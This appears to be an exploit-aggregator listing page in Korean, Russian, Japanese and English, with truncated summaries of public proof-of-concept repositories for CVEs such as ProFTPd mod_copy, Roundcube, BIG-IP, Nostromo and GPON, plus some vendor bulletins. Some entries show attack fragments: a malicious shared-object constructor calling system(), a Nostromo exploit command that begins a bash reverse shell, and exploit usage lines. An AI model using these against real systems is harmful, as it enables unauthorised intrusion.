ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution CVE-2015-3306 취약점을 이용하여 ProFTP 1.3.5 서비스의 취약점을 익스플로잇하는 스크립트입니다. 사용법 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

CVE-2025-49113

CVE-2025-49113 Roundcube 익스플로잇 CVE-2025-49113을 대상으로 하는 Python 익스플로잇으로, Roundcube 웹메일의 PHP 객체 역직렬화를 통해 원격 코드 실행을 가능하게 하는 취약점을 대상으로 합니다. 개요 이 익스플로잇은 Roundcube의 파일 업로드 기능에 있는 역직렬화 취약점을 이용합니다. 조작된 GPG 구성 페이로드를 사용하여 대상 서버에서 원격 코드 실행을 달성합니다. 특징 Roundcube 자동 인증 CSRF 토큰 추출 및 처리 세션 관리 PHP 객체 역직렬화 페이로드 생성...

CVE-2026-8206

CVE-2026-8206 취약점: 인증되지 않은 계정 탈취 — Kirki Customizer Framework의 비밀번호 재설정 이메일 하이재킹 CVSS v3.1 9.8 / 10.0 치명적Critical 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 1. 개요 CVE-2026-8206은 90,000개 이상의 활성 설치를 보유한 인기 WordPress 페이지 빌더 플러그인인 Kirki Customizer Framework에서 발견된 인증되지 않은 계정 탈취Unauthenticated Account...

RCE-CVE-2020-5902

RCE-CVE-2020-5902 BIG-IP F5 원격 코드 실행 설명 이 공격들은 F5 Networks에서 제조한 다목적 네트워킹 장치인 BIG-IP를 대상으로 합니다. BIG-IP 장치는 트래픽 셰이핑 시스템, 로드 밸런서, 방화벽, 액세스 게이트웨이, 속도 제한기 또는 SSL 미들웨어로 작동하도록 구성할 수 있습니다. 수요일, F5 Networks는 BIG-IP 장치의 "원격 코드 실행" 취약점에 대한 보안 권고를 발표하고 패치를 공개했습니다. F5는 CVE-2020-5902로 추적되는 이 취약점으로 인해 공격자가 인터넷...

CVE-2018-6574

CVE-2018-6574 POC Эксплойт POC для CVE-2018-6574 Компиляция 1. Создайте файл эксплойта со следующим содержимым: root@kitploit: include include static void malicious attributeconstructor; void malicious system"COMMAND"; 2. Скомпилируйте его: root@kitploit: gcc -shared -o exploit.so -fPIC exploit.c...

CVE-2026-34038

CVE-2026-34038: Authenticated Remote Command Injection in Coolify This repository contains documentation and analysis for CVE-2026-34038 , a critical command injection vulnerability in Coolify. Summary An authenticated remote command injection vulnerability CWE-78 in Coolify allows users with...

cve-2022-33891

CVE-2022-33891 Уязвимость внедрения команд в оболочку Apache Spark Python POC для эксплуатации уязвимости внедрения команд в оболочку Apache Spark. Я видел несколько других POC, но они выглядели крайне подозрительно. Этот — чистый и простой. Я не обнаруживал эту уязвимость/эксплойт. Я просто хоте...

CVE-2023-40294-and-CVE-2023-40295

Пока я запускал boron в своей среде, я случайно обнаружил 2 переполнения буфера в куче в libboron libboron.so.2 версия 2.0.8 при обработке слегка некорректного ввода. Это было официально протестировано как на Mac x8664, так и на Linux x8664: Файлы для воспроизведения reproduction.zip Компиляция g...

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

🛡️ CVE-2026-57588 - Nessus SQL 인젝션 익스플로잇 프레임워크 📋 목차 개요 취약점 세부 정보 기능 설치 빠른 시작 사용 예제 페이로드 유형 고급 시나리오 리포트 문제 해결 보안 고려사항 라이선스 🔍 개요 CVE-2026-57588 은 Tenable Nessus 버전 10.12.0 이하 에서 발견된 치명적인 SQL 인젝션 취약점입니다. 이 취약점은 .nessus 스캔 결과 파일을 가져올 때 XML 파싱 메커니즘에 존재하며, 가져오기 권한이 있는 인증된 사용자가 백엔드 PostgreSQL 데이터베이스에 대해...

Important: Red Hat Security Advisory: OpenShift Container Platform 4.19.46 bug fix and security update

Red Hat OpenShift Container Platform release 4.19.46 is now available with updates to packages and images that fix several bugs and add enhancements. This release includes a security update for Red Hat OpenShift Container Platform 4.19. Red Hat Product Security has rated this update as having a...

CVE-2025-61228

CVE-2025-61228 Предупреждение Эта проблема, похоже, хуже, чем предполагает разработчик, поэтому я не хочу, чтобы эта часть затерялась в деталях. Разработчик отметил в своем блоге: Это может произойти только в том случае, если программа, работающая на вашей системе, ищет SuperDuper для выполнения...

Security Bulletin:Vulnerabilities exists in NPS of IBM Netezza Appliance

Summary Vulnerabilities identified in NPS of IBM Netezza Software have been addressed in version 11.3.1.3-IF3. Vulnerability Details CVEID:CVE-2026-69247 DESCRIPTION: cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 44.0.0 until 50.0.0,...

Security Bulletin: Multiple vulnerabilities found in CICS Transaction Gateway for Multiplatforms.

Summary Multiple vulnerabilities were identified in third-party components used by CICS Transaction Gateway for Multiplatforms, including IBM WebSphere Application Server, IBM WebSphere Application Server Liberty, Apache Tomcat Embed, Logback, Log4j, Jackson Databind, and various operating system...

Cisco-IOS-XE-CVE-2023-20198

Cisco-IOS-XE-CVE-2023-20198 Эксплойт PoC для CVE-2023-20198 Информация об уязвимости и использование эксплойта предоставлены smokeintheshell см. ссылки Управление конечной точкой, типом содержимого HTTP и заголовками было изменено по сравнению с другими существующими PoC, чтобы работать в...

offensive-security-writeups

Offensive Security Write-ups from the CTF challenges tackled...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다. 요구 사항 optparse socat sys 사용법 다음과 같이 익스플로잇을 사용할 수 있습니다: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i &...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 root@kitploit: Login was successfull Exploited! テスト環境 Dockerを使用する場合：...

SpringBreakPoC

SpringBreakPoC 최근 공개된 SpringBreak 취약점CVE-2017-8046에 대해 여러 엔드포인트를 테스트할 도구가 필요했지만, 마땅한 도구를 찾지 못해 이걸 급조했습니다. 사용법 root@kitploit: \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | \ | || | | / / | || | || / / | | | | | \ \ || | | | | | || || | \ | | | | \ || | \ | \ \ | \ | |...

PwnKit-CVE-2021-4034

Pwnkit Exploit Instructions I did not write this. This is only to document my exection/instruction of exploit use as there are some very intricate and complicated steps to follow. Files come from the following source:...

GPON

GPON 홈 라우터에서의 RCE CVE-2018-10561 취약점 오늘날 많은 라우터가 GPON 인터넷을 사용하며, VPNMentor에 의해 장치의 모든 인증을 우회하는 방법CVE-2018-10561이 발견되었습니다. 이 인증 우회를 통해 또 다른 명령 주입 취약점CVE-2018-10562을 드러내고 장치에서 명령을 실행할 수도 있습니다. Shodan에 따르면 이 문서가 작성된 시점에 거의 100만 개의 해당 장치가 인터넷에 노출되어 있습니다. 필요한 종속성 requests urllib2 테스트 환경 Kali Linux...